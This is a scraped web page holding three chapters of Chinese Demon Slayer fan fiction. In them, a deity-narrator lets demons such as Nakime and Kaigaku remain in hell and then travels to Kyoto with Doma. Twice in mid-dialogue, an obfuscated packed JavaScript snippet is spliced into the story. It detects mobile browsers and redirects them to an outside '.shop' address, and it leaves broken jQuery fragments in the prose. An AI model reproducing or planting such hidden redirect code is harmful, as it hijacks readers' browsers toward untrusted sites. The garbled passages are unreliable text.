去转世的鬼都走的差不多了,我回头看了看,惊讶地发现竟然还剩下零零星星的十几个鬼站在原地没动。 “呃,诸位是…怎么打算的?” 那群鬼里站出来一个抱着琵琶的女人,不,女鬼,黑色的长发遮住了半张脸,显得有些阴郁。 她微微欠了欠身,权当作行礼。 “这位…神明大人,如果我们不想离开这里的话,请问又该怎么办呢?” “诶?” 我有点困惑,“你们不想去转世?只想待在这地方?可是无论怎么说这里也是地狱啊,这样真的好吗?” “如果神明大人认为我们会因此而感到寂寞的话,就多虑了。” 那女人的嗓音有点淡淡的沙哑,但并不难听,“我生前以弹奏琵琶卖艺为生,早就看腻了那些人类的嘴脸。我那夫君沉迷赌博,不仅挥霍我辛苦赚来的钱,还时常打骂我,最后更是卖掉了我演出用的和服,我一怒之下用榔头杀了他,却发现以杀人后战栗的心情和颤抖的手来演奏,能得到出乎预料的好评。从那以后我就开始杀人,直到遇见了那位大人,被变成了鬼。” “在那之后,因为我的血鬼术是改变空间,所以就被那位大人委派建造和掌管他的城堡——无限城。” “啊!无限城是你造的啊!”我惊讶地说,“我在无惨大人的记忆里看到过,那个异空间做的非常精妙呢!你也太厉害了!” 那女人顿了顿,语气中流露出一丝微妙的骄傲。 “正是如此,无限城就是我的血鬼术所造,百年来我每日都独自待在那里,所做的不过也就是帮那位大人召集会议,刺探情报这类小事,但不用再讨好客人,不用再考虑自己的乐曲是否动听,我反而感到非常平静。” “然而即便那样,最后我还是被那位大人杀了,因为最后一战时有个小鬼用血鬼术从我这里夺取了无限城的掌控权,尽管我一直兢兢业业地服务于那位大人,在危急关头他还是毫不犹豫地舍弃了我。” 我叹了口气,“这也的确是无惨大人的作风,不怪你。” “来到地狱后我想了很久,”那女人继续冷静地说道,“其实无论做人还是做鬼,我全都没有兴趣,只想待在安静的地方好好修行,如果可以的话,还请神明大人满足我的这个心愿。” “小生也一样。” 女人身边走出来一名高大的男鬼,面目凶悍,身上长着几面鼓,说起话来却略有点腼腆。 “小生曾是一名文笔作家,毕生的追求就是想要写出好文章,业余也就是喜欢敲鼓罢了。但却被前辈以天赋不足为由践踏我写字的稿纸,鄙视我敲鼓的技巧,实在令人忍无可忍。小生变成鬼只是为了获得写作的灵感,但哪怕变成鬼,也依然写不出好文章,甚至连做鬼也没什么天赋可言,就算拼命吃人也没用,于是被那位大人从下弦中除名…但小生没有想到的是,在被猎鬼人杀死来到地狱后,反而文思如泉涌,怎么写也写不够。于是小生想明白了,我喜欢的只是写作和敲鼓而已,至于有没有天赋,会不会得到他人的认可,其实没有那么重要。在这里的话,至少不用再为生计发愁,可以投入全身心来写作,也许有朝一日,小生真的能写出震撼世人的好文章也说不定。” “响凯先生是个稳重的人,我可以为他担保。”那名女子说道,“还有这里的诸位都是差不多的情况。我们留在这里反而能获得平静,还请神明大人理解我们的心情。” 这倒是始料未及的情况。 见我沉默不语,那名女子似乎有些不好意思,“抱歉,我…之前从来没替自己或别人争取过什么,是不是这要求太过无理了?” “并没有那种事。”我笑道,“你叫什么名字?” “人类时的名字记不清了,那位大人叫我鸣女。” “鸣女小姐,你的血鬼术是改造空间?” “是,正是如此。” 那男鬼在一旁低声说:“其实小生的血鬼术也和鸣女小姐类似,但因为没什么天赋,所以只能改造一座房子的范围。” “那真是太好了!” 我拿出了“时轮”。 “这是能够连通地狱和人世的‘门’,我拜托月夜见尊做了些改进,让这里的人和物品可以通过这道门前往人世,人世的人和物品也可以传送到这里来。既然鸣女小姐在改造空间方面有所专长,我是否可以将它托付给你呢?如此一来,你就可以借助上面的神明之力,帮助我管理这个空间了。” “据我所知,与空间有关的‘术’非常稀有,希望二位都不要浪费了自己的天赋,如果你们愿意,就借助这个机会好好修行,继续努力吧。” 那名男鬼震惊地抬起头来:“您是说,小生的血鬼术,其实是一种天赋?” “当然,”我认真的点点头,“在我看来血鬼术也并非一定要用来杀人或战斗,像这位鸣女小姐的血鬼术就很实用,毕竟就连无惨大人也需要个住处嘛。能改造空间的’术‘非常难得一见,还请您好好珍惜。” “这…这实在是…” 那名男鬼忽然就热泪盈眶了。 “原来小生也是有天赋的吗?并不是一无所长的吗?” “每个人都有自己的天赋,只不过有时没有遇到合适的环境和时代,无法得到认可而已,这也是命运使然。但如果各位在地狱里能发现自己的专长,也是一件不错的事嘛。” “那我也算有专长啦!”后面冒出一名个子娇小的女鬼,样子还挺可爱,“我以前是下弦,因为每次面对猎鬼人的柱都很害怕,所以总是临阵脱逃,结果就被那位大人处死了。不过来地狱以后,我发现我对这里的植物都很喜欢,毕竟家里是开药铺的嘛,所以比起去转世,我觉得在这里好像更有意思。” “我也是我也是…” 一群鬼嘻嘻哈哈地吵成一团,鸣女小姐显然是这里面资历最深的,她问道: “那么神明大人想要个什么样的空间呢?像是无限城那样的吗?” 我看了看月下一望无际的森林,说道: “这取决于你们自己,因为选择在这里生活、把这里当作家园的是你们,就算无惨大人来了,他也是客人,而我和童磨大人对这种事都没什么想法。哦,要不就拜托你围着这睡莲菩萨给他修座寺院吧,万一他以后高兴了想来住住呢。” “童磨阁下…也是个相当有趣的人呢。”鸣女小姐竟然发出了无奈的笑声,“以前在无限城最怕遇见的就是他,因为总是会没完没了的跟你说话,吵的人头痛。而且只要碰到猗窝座阁下就一定会打起来,每次开会时我都只盼着尽快结束让他们各回各家。” “是啊,”我也忍不住笑了,“他就是那样的人嘛,现在说起话来也还是滔滔不绝。” “对了,还有个问题。”鸣女小姐说道。 “我身上的鬼血似乎已经失效了,所以无法使用血鬼术,这又该如何是好呢?” “这还真是个问题啊…”我想了想,说,“那个…如果你不嫌弃的话,也许可以试试我的血?虽然我不是鬼,但好像我的血能对恢复血鬼术有一定的帮助。不过因为我是童磨大人的眷属,血液中必然混有他的鬼血,所以如果鸣女小姐接受我的血,其实也就相当于成为他的下属了,这也需要你自己考虑清楚才行。” “……” 鸣女小姐犹豫了片刻。 “其实…不论是对那位大人,还是对上弦之贰,我都没有什么信任可言,但如果是神明大人你的话…我愿意追随。” “诶?” “之前因为担心被鬼杀队找到而一直东躲西藏,但我偶然看到过你是如何帮助堕姬他们的。我们这些鬼,在活着时受尽鄙视,死了也还要为自己的罪行受罚,也只有你能平等看待被这世界抛弃的我们,这就是所谓的救赎吧…我以前从来不相信有神佛存在,但如果是你的话,我想叫你一声神明大人也不为过。” 说罢她伏在地上,深深向我叩首。 “请允许我追随您吧,神明大人。” “我们也愿意追随您。”其他的鬼竟然也纷纷拜倒在地。 我很多年没有受过别人的礼拜,这么一来反而有点尴尬。 “请…请不要这样。我之所以平等地看待大家,是因为在我看来,鬼的生命也很重要,鬼就像是森林里的猛兽,虽然会威胁人命,但那也不过是为了求生存罢了,况且你们大多是被世间的种种不平逼迫成今天这个样子的,并不全是你们的错…” 说到这里,我不由得停了停,因为想起了往事。 “我会帮助你们,皆是因为我自己在作为人类时,也曾受到过人类的孤立和践踏,但我幸运地遇到了一位神明之子,那个孩子告诉我,我并没有做错任何事,是他人故意欺辱我,所以没有必要感到自责,他还说我反抗那些人的举动非常勇敢。自那之后,我就决定将他给我的救赎尽可能地带给更多对自己的存在感到迷惑的人…作为神明,我还远远不够格,但为了我记忆里的那位神明之子,我愿意努力的走下去。” “各位选择相信我,真的让我非常感激。但我这人随意惯了,实在不擅长处理下属或是信徒那种复杂的事,所以就算是将血分给你们,还请各位将我当作朋友看待,我也会将大家视为关系平等的友人的。所以请无需再叫我神明大人,敝姓荒川,希望以后能和大家好好相处。” 忽然察觉到少了一个人,我环视着现场的鬼:“请问…有谁看到狯岳了吗?” “您说的是那个替补的上弦之六吗?他一般在树林里练刀,很少和我们说话。” 唉,这孩子的个性…都两年了也还是这么孤僻啊。 我果然在林子里找到了那个桀骜的少年,他坐在半截树桩上,手里拿着颗果子,看到我还无动于衷地咬了一口。 “我还以为神明大人你死了呢。”狯岳冷冷地说。 “才刚不到两年而已,你就耐不住寂寞啦?”我笑着走到他跟前坐下,“要不要考虑去转世?” “不去,我的刀还没练好。” “差不多就行了,小狯岳,世上永远会出现比你强的人,关键是你变强是为了什么?”我看着他,“强如黑死牟大人,一生却活的那么痛苦,你难道想变成他那样?“ “你在开玩笑吧?我那废物师弟比起继国缘一连渣滓都算不上,但他砍了我的头,这才是让我觉得恶心的地方。” 我叹了口气,“你那废物师弟我上个月还在荞麦面店遇见了,胖了一圈,在忙着和灶门炭治郎那个妹妹谈恋爱呢,再过个一年大概就要结婚生孩子了。” “什么?!”他火冒三丈地站了起来,“我就知道那个小垃圾没一点出息!老头子好不容易传下来的呼吸法,他难道就这么放弃了吗?!” “狯岳,鬼杀队解散了。“ “哈?“ 狯岳的表情僵住了。 “解散了?怎么可能?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252377|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是不是傻了?你们这群鬼从无惨大人开始都下地狱了,鬼杀队还有什么存在的必要?无限城之战后的那个春天就解散了。” 少年的眼神忽然变得茫然起来。 “就这么解散了…吗?”他喃喃道,“可我还想…还想…” “还想什么?报仇?”我笑了笑,“柱都死的只剩两三个了,要么残疾要么开了斑纹。你师弟他们我看也都有残疾,连那个灶门炭治郎都开了斑纹,活不了几年了。” 以雪耻和复仇为驱动力的少年,忽然好像被抽掉了骨头。 “我这一生,到底…有什么意义啊?” 狯岳垂下了头,手指深深抠进了木头缝里,低声笑了起来。 “以前连饭都吃不饱的时候,只想出人头地,遇到老头子时我觉得自己的运气真是好极了,加入鬼杀队挣得也多,再有两年大概就能成为柱了,到那时就能让那些小看我的人统统没话说。后来…后来变成了鬼,在黑死牟大人面前低头,我觉得没什么可丢人的,我就是想活着,况且黑死牟大人说,会呼吸法的剑士成为鬼,以后必定大有作为。好不容易扛过了化鬼的痛苦,再之后,哈哈,我就莫名其妙地死了…哈哈哈…真是无聊透顶的一生啊…” 他笑着笑着,声音里带出了呜咽。 “神明大人…我到底错在哪里?为什么我活的如此…如此可笑啊?” 我轻轻将手放在他不断抽搐的肩膀上。 “狯岳,你没做错任何事,不要再逼迫自己了。” “你长大了,已经是个男人,不会再流落街头了。所以,试着向前看吧。” “可我不甘心!”他抬起头来,两眼发红地瞪着我,“我还什么都没有得到!连雷之呼吸也没有完全掌握!就这么去转世,一切再从头开始?开什么玩笑啊?!” “狯岳…” 我凝视着少年。 “既然如此,就以鬼的身份活下去吧。” 他愣住了,“你在耍我吗,神明大人?我都已经死了,除了去转世成人类还有第二条路吗?” “你刚刚肯定没有听我说话。我托别的神明将‘门’进行了改造,实际上从现在开始,这里的鬼,可以去往人世并获得实体了。” 狯岳一副难以置信的表情:“骗我的吧?哪有你这样的神明,诱惑人做鬼啊?” “没办法,总要有人干活嘛。”我摊摊手,“童磨大人那边倒无所谓,但无惨大人早晚需要人为他工作,我听说他最近的药品生意做的很不错呢。” “那位大人…没有死?” “当然了,在产屋敷家以别人的身份潜伏着而已。但只要再忍耐几十年,你们就能光明正大的做自己想做的事了。” 我收起了笑容,“但你要想好,一旦以鬼的身份踏出这里,就没有回头路,往后的数百年甚至上千年,可能都要承受人类无法想象的孤独。你是个有野心的孩子,但野心终有一天会被时间磨平,也许有一天,你所有的感情都会在无尽的岁月中变得淡漠,你能不能像无惨大人或童磨大人那样,在永恒不变中与变化的世界共存,甚至目睹熟悉的一切在时间之河中湮灭?这是比成为上弦更重要的、作为鬼之一族的觉悟。你,拥有这样的觉悟吗?” 狯岳沉默了。 过了很久,他才低声说道: “…回不去了。” “什么回不去?” “一旦体会过鬼的强大,我就已经…回不去了。” 他攥紧了腰上的刀柄。 “鬼杀队也好,呼吸法也好,人类无论怎么努力,在实力上都比不过鬼。正是因为了解这一点,我才会小看了那个小废物。但就算是将呼吸法磨练到极致的柱,也不过是短命的人类罢了,鬼很容易就能做到的事,人类要付出几年,几十年甚至一辈子才能做到。亲身体会了鬼的强大之后,我就再也没办法…接受‘作为人类度过平庸的一生‘这种事了。” “我想…成为像黑死牟大人那样的强者,再也不想被人随随便便踩在脚下,再也不想为了和一群废物好好相处而忍气吞声,就算知道别人在背后议论什么难听话也只能忍耐,那种日子…我已经受够了。” 狯岳鸦青色的眼中如同燃烧着不息的火焰。 “请…让我作为鬼活下去吧,拜托了。” “不行哦。” “诶?” 极乐教的茶室,童磨懒洋洋地歪在他的软座上,白皙的手指间夹着一杆细长的乌木烟管,满室都是烟草混了白檀的香气。 教主大人正好是“下班时间”,因此没披法袍,而是穿了一袭深蓝的亚麻浴衣,领口敞开露出形状优美的锁骨,那样子活像个吉原的妈妈桑。 就连那老狐狸一样妖里妖气的眼神都像。 我默默擦了把汗。 要命,真要命。 “人家只对可爱的女孩子有兴趣,小狯岳这种男孩子,既不好看也不好吃呐。” “只是暂住而已,他现在没地方去。”我坐在下方,总感觉缺了点底气,“再说以前小梅他们不是也在你这里住过吗?” “不一样哦,小堕姬和妓夫太郎都是听话的好孩子,小狯岳可不是哦。”童磨含着烟嘴,似笑非笑地说,“那孩子只为自己而活,为了自己可以背叛任何人呢。小染,鬼的世界不存在同情和怜悯,一向是强者说了算,他在我这里玩玩可以,要是做出任何多余的事,我可是不会客气的哟。” “这是自然,可以让你的人盯着他,如果他不规矩,你就直接杀了,不用跟我商量。” “你给过他花了?” “嗯,还有我的血。这样的话,应该可以压制住他吃人的欲望,你也可以随时监视他的一举一动。”我轻轻叹了口气,“让你费心了,童磨大人。” “完全可以理解啦,小染是神明嘛~” 鬼忽然换上了一副笑嘻嘻的面孔,刚刚的压迫感一扫而空。 “但人家帮了小染这么大一个忙,你要怎么感谢人家呐?” 这斤斤计较的狗男人! “我可是帮你收服了鸣女小姐和几个下弦,以后死灵地狱就是你的无限城。”我不甘示弱地瞪着他,“你还想要什么感谢?” “这叫什么话,那可是人家自己打下来的地盘呐~”鬼笑的毫无廉耻,“琵琶小姐的血鬼术虽然实用,但她实在太弱啦,太弱的下属,人家是不需要的哦~” “不能这么说,如果利用得当,就没有无用的‘术’。”我认真道,“也许某一天我们依然会和无惨大人,或是和其他敌人发生争战,在那之前你的帮手越多越好。作为你的眷属,一定要为你考虑周全,这是我的职责所在。” “诶呀呀,小染又开始教训人家啦,我不要听~想要表示感谢的话,必须满足人家两个愿望哦~” “什么愿望?你,你不要太贪心了!” 身体忽然被什么东西用力一拽,我毫无准备地撞进了那个满是烟草味道的怀抱里。 冰的莲蔓紧缠着我的腰,童磨冰冷的指尖缓缓滑过我的脖颈,滑进我轻薄的和服,在心脏的位置划开了一道伤口。 鲜血从伤口中涌出,在夏日的室内,扩散开神明特有的香味。 鬼舔了舔嘴角,眯起眼睛。 “以后不准再随便分血给其他人,神明大人美味的血,只属于我一个人哦。” 我完全动弹不得,只好点点头,“好,我答应你,以后如果遇到合适的人,会跟你商量。” “还有…” 他俯身在我耳边,轻声说,“等回了京都,人家需要一个奖励。” “随便你,这次是胳膊还是腿?” “都不是哟,到时候再告诉你~” 不过就是被咬几口而已,谁怕谁啊! 我直视着他,露出了胸有成竹的微笑。 “既然做你的女侍,侍奉教主大人就是我的义务,哪怕为此粉身碎骨也在所不惜!” “啊哈哈,不愧是我的小染呀~”鬼大笑起来,“人家可记住你的话啦!” “山田——” 茶室的纸门外传来山田先生恭敬的声音: “是,教主大人。” “派人盯着今天新来的那个孩子吧。还有,”教主大人的脸上浮现出意味深长的笑容,“教里那些辛苦的工作,都可以交给他哦~” “是,这就按您说的办。” ……拜托你做个人啊,童磨大人! 101. 尾声:鬼月篇(中) 不知道是畏惧教主大人那副皮笑肉不笑的嘴脸,还是格外珍惜这次重生的机会,狯岳在极乐寺里显得格外勤快,让干什么就干什么,一句抱怨的话都没有。结果十几天下来,反而得到了教众们的一致称赞。 “是个好孩子啊,很能吃苦。” 连不苟言笑的山田先生有次都这样夸他。我对此深表怀疑,去问了一圈,又收获了一堆赞扬之词。 “这孩子来了以后,我这里就没缺过木柴,真是帮了大忙了。”厨房的欧巴桑说。 “是呢,连檐廊的地板都被他擦的亮晶晶的。”负责打扫经堂的阿玉说。 “特别细心,虽然不爱说话,但一早就会把水全都打好。” “让他买东西也回来的很快,脚程很惊人啊。” “上次跟我去山里,多亏这孩子反应快,我才没被蛇咬到。” “剑道也很厉害的样子,这下再也不用担心会有奇怪的人闯进来啦。” “……这有点不正常啊。” 我躲在树后看着少年在偏殿旁的林子里一次次挥刀,边用脑内通讯跟童磨闲聊。和他们这些几百年没见太阳的鬼不同,狯岳变成鬼还没多久,用了彼岸花后很快就适应了白昼,每天天没亮就会在这里练他的刀,一直练到清晨,就像他还是人类一样。 教主大人回我: “这就是被神明感化的结果嘛,谁叫我是个善良的人呐~” “…说实话,你做了什么?” “什么也没做哦,人家只不过温柔地提醒小狯岳,不听话的孩子,会被鬼吃掉哦~” 教主大人在我脑子里的笑声让我打了个寒战。 我摇摇头正打算走,忽然看见一个身着学生服的身影朝狯岳走了过去。 竟然是阿萤,她学校里刚好放了暑期假。 这姑娘长高了,穿起行灯袴来像模像样,充满了少女特有的蓬勃朝气,手里还拎着个小布袋。 “稻玉先生,请休息一下吧。”女孩大方地说,“我带了水和梅干饭团哦,你还没吃早饭吧?” ……不愧是明子夫人的半个学生,这姑娘的胆量是越来越大了。 狯岳皱着眉瞟了她一眼,出乎我意料的,竟然只是淡淡地说了句: “谢谢。” ??? 我没听错吧?这小子在说谢谢? 今天太阳是从东边出来的吧? “稻玉先生好刻苦呀,看来我也要努力才行呢。到东京上学以后,都已经很久没练习了,挥刀的动作都生疏了呢。” “你一个女人,学什么刀?” 大概是嘴里塞着别人做的饭团,狯岳没好意思像往常一样毒舌。 “女人怎么了?荒川小姐告诉我,学好了剑道,以后遇到那些欺负女孩子的男人,就打到他们爬不起来!” “咳咳咳…”狯岳呛了口米饭。 “啊,您没事吧?” “没,没事…” “没事就好。请一定保重身体,毕竟大家都很喜欢稻玉先生呢。” “喜欢我?”少年愣住了,“为什么喜欢我?” “别人我不知道啦,我的话,总感觉稻玉先生是个温柔的人呢,虽然不太说话,但总在细心又努力地帮助大家,而且体力真的很厉害哦。” 狯岳似乎想冷笑,但没笑出来,只是绷着脸冷冷地说: “才和我认识多久就说这种蠢话?真是个蠢女人。” “什么嘛,原来你是会骂人的呀。”阿萤忽然露出了狡黠的笑容,“我和阿玉他们打赌,你肯定是在忍耐着什么,果然被我猜中啦!” “…你们在耍我吗?” 少年的脸不出所料地阴沉下来,鸦青色的眼睛闪烁着像狼一样危险的光。 阿萤却习以为常地说:“极乐教的很多人,最开始都和稻玉先生一样哦。从小是孤儿、家里房子被火烧掉、得了病被家人抛弃、或者因为别的原因失去了一切,才会到这里来接受神明的庇护。” 她抿起嘴:“但慢慢的,大家都会好起来。不论是去找教主大人祷告,还是和其他的信徒一起分享,我希望稻玉先生能找到自己的办法,将心中的重担放下来。毕竟如果一直忍耐着痛苦的话,人是会受不了的,那样也太可怜了。极乐教是和平的修行之地,不用让自己那么辛苦哦。” 听过这番话,狯岳的表情与其说是愕然,不如说有点不知所措。 他沉默了片刻,突然低声说: “我…其实小时候也在寺庙里住过。” “诶?”阿萤好奇地问,“是怎样的寺庙呢?” “说是寺庙,其实只是个破破烂烂的地方,有个又瞎又穷的和尚,带着一群孤儿靠他人施舍活着。” 狯岳唇边泛起讥诮的笑:“那和尚是个烂好人,平时只会念佛,小孩子之间的事又一概不管…他眼瞎心也瞎,不知道小孩和大人一样,强的会欺负弱的,一群人会排挤一个人,这种事常见的很。被排挤就吃不上饭,手里的东西也要被迫‘分享’给他们,但那些小孩偏偏在大人面前装出一副老实又可怜的样子,那和尚就以为大家其乐融融,像一家人一样和睦。” “他们要我的勾玉,我不肯给他们,那些小孩就在我的饭里掺石子、吐口水,在街上捡到什么值钱东西也都要交给他们,有天我饿的受不了,偷了寺里的钱去买吃的,结果被他们发现,趁那和尚不在就把我赶了出去…” “那片地方都传说天黑以后会有鬼出来,他们明明知道,还故意那么干,结果我就真的遇到了鬼…呵呵,只能说太倒霉了吧…” “鬼?真有那种东西吗?我才不相信呢!”阿萤疑惑地说,“那都是瞎说的吧。” 狯岳欲言又止地看了她一眼,只是点了点头:“有啊,我就亲眼见过鬼,还把鬼引到了那间寺庙里,把那些小孩都杀了。现在你知道我是个什么样的人了吧?” 少女皱起了秀气的眉,仿佛这个事实还是让她有点难受。 最终她缓缓地说: “抱歉…我没经历过你说的那种事。但我听山田先生说过,人们之所以活在痛苦中,是因为每个人其实生来就背负着罪孽,只有好好祷告和修行,才能得到神明的救赎,死后到极乐世界去。所以…既然每个人都有罪,就说明每个人都会犯错,不论大人小孩都一样。况且是那些孩子欺负你在先,稻玉先生自己那时也是小孩子吧,所以不用为了这件事而自责哦。” …不愧是极乐教里长大的,这姑娘很有传教的天赋啊! “你哪只眼睛看到我在自责?我没什么可自责的,他们活该。”狯岳冷笑,“还有你别总在我眼前晃,我看见你就烦。” “哎哎,你这人怎么这样?真是不识好人心。”阿萤撅着嘴收拾起饭盒和水瓶,“我走啦,不惹你心烦了。还有山田先生在找你,好像是教主大人的事,你别忘了去。” “你怎么不早说!”狯岳跳了起来,“啰啰嗦嗦说了这么多废话,我要是挨罚就全是你害的!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252378|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教主大人才不会惩罚人呢!你可真讨厌,我再也不理你了!哼!” 女孩气呼呼地走远,却半道转过身挥了下拳头: “要加油哦,稻玉先生!” “蠢女人,你吵死了!” …唉,年轻人的心思,真是让人看不懂啊。 教主大人要回归京都的极乐寺本堂的消息很快在教内传播开来。广大信众们很是依依不舍,当场痛哭的大有人在,更有人想追随他老人家一起回去。但这次教主大人学聪明了,在主持临行前最后一次晚课时,他和颜悦色地说: “大家完全没有必要感到悲伤,无论身在何处,我的心都与信徒们同在,神明的庇佑也是一样的。我会为大家留下‘本尊’,在‘本尊’面前进行的所有祷告,神明都能听得见哦。请放心,如果实在有需要当面向我祷告的事,护教也会为大家安排觐见的。” 山田先生恭敬而小心地揭开了正殿新修的神龛上覆盖的丝绸,一尊晶莹剔透的冰雕呈现在众人眼前。 …没错,这家伙留下了一只御子来糊弄人。 看着一群信徒对着这夏天也不会融化的冰雕连连叩首痛哭流涕,口中赞美着神明显灵,我默默感到某只鬼这神明之子的头衔果真名不虚传,只要在人类面前稍稍显露出一丁点手段,就足以控制整个教团。没有了鬼杀队和无惨大人的压制,万世极乐教的未来大有可期啊。 不过马上就轮到我哭了。 “开车去京都??” 第二天一早,我看着被山田先生擦的闪闪发光还被加装了遮阳篷的洋车,差点把手里的箱子扔出去。 不敢喊的太大声,我只能咬牙切齿地说:“世界上还有个东西叫蒸汽火车,教主大人您不会不知道吧?” “我当然知道啦,铁道的话一样也是走东海道嘛。”教主大人无辜地摊摊手,“但人家可不想和人类挤在一起,光是想想就受不了呢~” “不如我雇个轿子把你抬过去算了!” “小染,那是江户时代的做法啦,不要那么落伍哦~” “你!”我拼命告诉自己不要跟一只被信徒惯坏的鬼计较,“开车去关西的话起码要一整天吧?半路没汽油了怎么办?车子坏了怎么办?” “那种事到时候再说嘛~开车多有趣呀,路上说不定有好吃的哦?” 说着话,山田先生走了过来,垂首肃立在一边说道: “教主大人,都安排好了,京都那边已经派人过去打理好一切了,但还是请您允许我来送您和荒川小姐过去吧。” “不用麻烦你啦,荒川小姐的驾车技术很好呢,再说这也是身为女侍的职责所在嘛~”教主大人笑眯眯地说,“把工作交给她,我很放心。” “那我随后马上赶过去,还请您一路小心。” …所以最后居然是我来开吗?!! 没关系!虽然我是个神灵,但谁叫我欠这鬼的钱呢?! 终于在山田先生殷切的目光中开上了出山的路,我深深吸了一口气。 “那我们就走东海道?” “好哦~就先去横滨吧,听说那边的西洋料理很不错哦~” “诶??” “然后嘛…”那只鬼居然掏出一张地图仔细研究起来,“第二站去镰仓怎么样?人家还没去过八幡宫哦?” “……你这是准备长途旅行啊童磨大人?” “当然啦,好不容易出来一趟嘛~” …这是什么非人的工作啊??? 102. 尾声:鬼月篇(下) 于是我俩开车一路沿着东海道前行,没多久就到了横滨港。 在横滨的海边,我第一次见到了远洋轮船,它们像巨大的钢铁鲸鱼,停泊在海面上冒着黑烟。 海风迎面扑来,携着我从未闻见过的、陌生的气息,点点金色的日光洒在一望无际的蔚蓝间,延伸向如同命运般深邃的远方。 “童磨大人,你小时候去过最远的地方是哪里?” 洋伞下,那双剔透如冰、映着彩虹的眼睛同样凝视着浩瀚的海洋。 “就是江户哦,小染知道的吧,那时没有大名的允许是不能随便乱跑的嘛。而且小时候每天都很忙,根本没空出去玩,说起来真的好可怜,人家连琵琶湖都还是做鬼以后才去的呢。” “比我还强一点。”我微笑道,“我去过最远的地方是神社的后山,那时候我就听人说,顺着荒川能一直走到大海边,大海边有很大的船,坐上船,就能到其他的世界去。我很想去那些世界看看,看看那里的人是怎么生活的,有没有父亲和母亲,但听说海水是咸的,那些世界里没有荒川,又让我害怕。” “但现在,我觉得一点也不害怕了,毕竟我连地狱都去过了嘛,只要和童磨大人在一起,好像世上就再也没有能让我害怕的事了。” “那是因为小染是我的眷属,多少会受我影响吧?”鬼笑嘻嘻地说,“毕竟人家从来不知道害怕是什么感觉嘛,是不是很厉害~” “对,真是多亏了你呢!”我翻个白眼,“走啦走啦,带你吃西洋菜去。” 果然不出我所料,刚过贺茂川,颠簸了一路的福特T就抛锚了,这时距离出发已经过了三天。 本来一天的路,硬是被拖成了三天的东海道观光游,这漂亮洋车没坏在半路上,我已经相当知足了。 幸好正是深夜,我还在想怎么用法术把车拖到附近的车站,某只鬼就已经潇洒地下了车,竟然直接走了。 “童磨大人,你的车不要了吗?”我震惊地说。 “就放在那边好啦,山田会来处理的。”鬼看着静悄悄的街道,舔了舔尖牙,“这里倒是没怎么变呢,诶呀呀,不愧是上方,美味的食物真多呀~” 说完他就没影了。 我看着夜半京都“空旷”的街道,很快意识到了他现在的狩猎对象是什么。 适逢盂兰盆节,幽灵现身之时,何况是拥有千年历史的平安京… 怎么就忘记这家伙现在是个鬼神了,所以是不管活的死的都往嘴里塞吗… 伊邪那美神啊,原来他想搬回京都竟然是这个原因吗!我算知道为什么在路过稻荷大社时,狐狸神差点就追着他咬了,原来不是因为他说人家长得像狗啊! 十分钟后,我在衹园附近的巷子里找到了正在吃夜宵的鬼。那里一片漆黑,却从四面八方的虚空中涌现出无数莲蔓,童磨大人坐在一朵洁白的莲花上,亲吻着怀里被吸收的只剩一半的女性地缚灵,眼泪流的情真意切: “可怜呀,好可怜~既然不想去转世的话,就让我来救赎您,和我一起永生吧~” 我捂住脸,心想还是让他尽快适应人类食物才是正经,否则万一他哪天想尝尝其他神灵的味道,这是要惹出大事… 还是吃人好,吃人最起码只得罪人类,我可不想直接和八百万神灵开战啊! 进食完毕,童磨大人悠哉悠哉地从巷子里走了出来,我默默扫了一眼,这条街清理的比做过祓禊还干净,果然吃干抹净是他的一贯作风。 “小染,我们走吧~”他笑得天真无邪,虹色瞳孔在暗夜中闪亮如华彩的宝石。 穿过层层茂密的枫林和竹林,沿着蜿蜒的山路一直走进小仓山深处僻静的一隅,当看到那间寺院的山门时,东方刚刚露出第一缕晨曦。 “你家还真厉害啊…”我惊叹,“这一路可都是御赐的寺院,你父母是怎么找到这么一块地方修庙的?” “这个嘛,听说母亲的家族多少和公家沾点关系,但母亲那时格外迷恋出家人,看中了在大寺院里侍奉的父亲,宁可和家里断绝关系也要嫁他,哪知道结婚以后,父亲除了精通玩女人,别的一概不行,所以就只能靠母亲一个人养家啦。她是个特别能干的女人,靠着办茶会跟这边的很多夫人小姐成了朋友,弄到了这块地,又正好生下了我,她就相信一定是神明看她可怜,才恩赐了一个特别的孩子给她。” 童磨边说着,边笑眯眯地推开了那扇看上去颇有年头的木门:“那么,欢迎来到我家哦,白姬小姐。” 这间寺庙的规模确实比不得御岳山里的那座极乐寺,但在普通寺院里也不算小了,而且布置的相当典雅,围绕着主殿建有一圈莲池,正值夏末,各色睡莲在池中盛放,一道“之”字型的木桥穿过波光粼粼的水面,延伸向树木繁茂的庭院深处。其他的经堂之类,倒和御岳山那座没什么区别。 山田先生是前一天赶到的,听到车子还在贺茂川那里扔着,并没表现出任何惊讶,只是毫无怨言地出门想办法去了。看来是教主大人常做些惊为天人的事,护教先生从祖上就习以为常了。 “都是小事,完全不用担心山田他们啦~毕竟人家以前是上弦之贰的时候,在他们面前都不用拟态的~” 教主大人颇有几分自得地说。 “……你头上跟泼了血一样,就算那样也没关系?” “没关系哦,见普通信徒时戴上帽子就可以啦~” 无惨大人,一贯谨小慎微的你羡慕吗?这就是信仰的力量! 